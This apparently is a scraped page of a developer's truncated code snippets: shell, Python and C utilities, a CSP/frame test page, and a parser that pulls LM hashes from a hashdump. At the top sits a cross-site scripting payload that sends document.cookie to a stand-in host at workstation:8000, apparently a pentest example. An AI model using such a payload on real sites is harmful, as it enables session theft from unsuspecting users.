Simple
<script>(new Image()).src='http://workstation:8000/'+document.cookie</script>
Embedding a CDATA markup
#!/bin/sh | |
# | |
# Rip an audio CD to MP3 complete with ID3 tags. Requires cdda2wav and lame. | |
# | |
# Copyright (c) 2016-2022, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# Check requirements | |
for bin in cdda2wav lame; do | |
type -Pp $bin >/dev/null || { |
#!/bin/sh | |
# Copyright (c) 2016, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# Generate thumbnails from a directory. | |
[[ $# -ge 2 ]] || { | |
echo "usage: $0 size images... (ex: 160 1.jpg 2.jpg)" | |
exit 1 | |
} | |
[[ $(type -t convert) == file ]] || { |
#!/usr/bin/env python | |
import sys | |
from lxml.etree import parse, fromstring, tostring, _Element | |
def print_result(result): | |
if type(result) is list: | |
for e in result: |
#!/usr/bin/env python | |
def dump(stream): | |
for i in range(len(stream)): | |
print('{:02x}'.format(stream[i]), end='') | |
print() | |
/* | |
* (c) 2014, Alexandre Hamelin | |
* Last revised: 17 sep 2014 | |
*/ | |
#include <stdio.h> | |
#include <string.h> | |
#include "iso14443crc.h" | |
int main(int argc, char *argv[]) |
#!/usr/bin/env python | |
def func(): | |
return subfunc() | |
def subfunc(): | |
return 0 | |
<!DOCTYPE html> | |
<html> | |
<head> | |
<title>Testing Content-Security-Policy and X-Frame-Options</title> | |
</head> | |
<body> | |
<h1>Frame Test</h1> | |
<iframe src="#http://web-site-to-frame" width="80%" height="600"> | |
<noframes>Unable to load the frame</noframes> |
#!/bin/sh | |
# | |
# Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# Released under the MIT LICENSE. | |
# Create a stripped down debian image. | |
docker pull debian | |
cid=$(docker run -dt debian) | |
docker exec $cid rm -fr /usr/share/doc /usr/share/man /usr/share/locale |
#!/usr/bin/env python | |
# Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
# usage: $0 hashdump.txt > hashes-lm.txt | |
import sys | |
with open(sys.argv[1], 'r') as fp: | |
lines = fp.read().splitlines() | |
# Get all LM hashes (each halves of full LM hashes) and make a set of unique |